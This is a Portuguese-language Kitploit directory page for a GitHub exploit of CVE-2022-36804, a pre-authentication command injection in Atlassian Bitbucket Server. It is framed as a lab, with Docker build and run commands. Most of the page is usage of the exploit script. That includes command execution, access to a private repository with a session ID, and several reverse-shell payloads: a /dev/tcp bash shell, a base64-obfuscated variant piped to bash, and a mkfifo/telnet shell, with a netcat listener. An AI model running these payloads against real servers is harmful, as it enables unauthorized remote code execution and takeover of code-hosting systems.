Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2022-36804 — A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2, and <8.3.1 | Kitploit
Ferramentas/GitHubGitHub/walnutsecurity/cve-2022-36804
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLabs & Practice
GitHubwalnutsecurity/cve-2022-36804

cve-2022-36804

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

84há 3 anosAinda não revisado

A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2, and <8.3.1

Compartilhar

CVE-2022-36804: RCE Pré-Autenticação no Atlassian Bitbucket Server

Uma vulnerabilidade crítica de injeção de comandos foi encontrada em vários endpoints de API do Atlassian Bitbucket Server e Data Center. Esta vulnerabilidade afeta todas as versões do Bitbucket Server e Data Center lançadas antes das versões <7.6.17>, <7.17.10>, <7.21.4>, <8.0.3>, <8.1.2>, <8.2.2> e <8.3.1>

Laboratório para CVE-2022-36804

Construir Docker

root@kitploit:~
docker build -t bitbucket .

Executar Docker

root@kitploit:~
docker run -it bitbucket

Uso do cve-2022-36804.py

Verificar Execução Remota de Código (RCE)

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990

Verificar RCE com comando personalizado (cmd)

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id

Verificar RCE com comando personalizado, chave do projeto e nome do repositório

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo

Verificar repositório privado

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -p NEW -r newrepo --session 2074C8FFA5D13088332C8DF0CD8A7CE7

Obter shell com netcat

Substitua 172.17.0.3 pelo seu endereço IP local

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1"

Inicie o listener netcat com:

root@kitploit:~
nc -lvp 4444

Converta /bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1 para base64 em caso de erro de execução do payload.

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjMvNDQ0NCAwPiYx' | base64 -d | bash |"

Se você ainda estiver enfrentando algum erro, execute o comando abaixo:

TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF"

É recomendável instalar a versão vulnerável do Bitbucket Server em uma máquina Windows/Linux para praticar. Será mais fácil obter um reverse shell em comparação com imagens docker.

Mais informações podem ser encontradas aqui

Referências

  • https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
  • https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
Baixar ferramenta